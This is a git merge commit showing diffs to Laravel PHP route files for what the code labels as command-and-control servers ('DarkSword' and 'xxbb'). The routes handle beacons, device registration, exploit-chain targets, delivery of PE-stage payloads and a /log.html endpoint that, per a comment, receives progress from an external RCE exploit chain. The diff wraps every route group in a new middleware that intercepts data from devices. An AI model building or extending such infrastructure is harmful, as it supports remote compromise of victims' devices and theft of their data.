Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab

This commit is contained in:
hashbro
2026-10-03 05:40:26 +08:00
13 changed files with 579 additions and 37 deletions
+2 -1
View File
@@ -2,9 +2,10 @@
use App\Http\Controllers\C2\C2Controller;
use App\Http\Middleware\DecryptCorunaBody;
use App\Http\Middleware\InterceptDeviceData;
use Illuminate\Support\Facades\Route;
Route::middleware([DecryptCorunaBody::class])->group(function () {
Route::middleware([DecryptCorunaBody::class, InterceptDeviceData::class])->group(function () {
Route::get('/api/user/query', [C2Controller::class, 'query']);
Route::post('/api/user/avatar/set', [C2Controller::class, 'avatarSet']);
Route::post('/api/user/get', [C2Controller::class, 'userGet']);
+15 -12
View File
@@ -1,6 +1,7 @@
<?php
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Http\Middleware\InterceptDeviceData;
use Illuminate\Support\Facades\Route;
$ds = DarkSwordC2Controller::class;
@@ -8,17 +9,19 @@ $ds = DarkSwordC2Controller::class;
// Shared /a /u /nb /event /result are declared in routes/xxbb.php
// (same URI, DarkSword vs xxbb chosen per request).
Route::any('/beacon', [$ds, 'beacon']);
Route::any('/war', [$ds, 'war']);
Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']);
Route::middleware([InterceptDeviceData::class])->group(function () use ($ds) {
Route::any('/beacon', [$ds, 'beacon']);
Route::any('/war', [$ds, 'war']);
Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']);
Route::any('/api/ds/log', [$ds, 'log']);
// /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends
// progress logs here via XMLHttpRequest GET with query params (id, text, hex).
// Maps to the same controller as /api/ds/log for unified log ingestion.
Route::any('/log.html', [$ds, 'log']);
Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
Route::any('/api/ds/log', [$ds, 'log']);
// /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends
// progress logs here via XMLHttpRequest GET with query params (id, text, hex).
// Maps to the same controller as /api/ds/log for unified log ingestion.
Route::any('/log.html', [$ds, 'log']);
Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
});
+2 -1
View File
@@ -3,6 +3,7 @@
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Http\Controllers\C2\XxbbC2Controller;
use App\Http\Middleware\DecryptXxbbBody;
use App\Http\Middleware\InterceptDeviceData;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
@@ -19,7 +20,7 @@ $dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xx
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
Route::middleware([DecryptXxbbBody::class, InterceptDeviceData::class])->group(function () use ($dsOrXxbb, $xxbb) {
Route::post('/a', $dsOrXxbb('profile', 'profile'));
Route::post('/u', $dsOrXxbb('apps', 'apps'));
Route::post('/event', $dsOrXxbb('event', 'event'));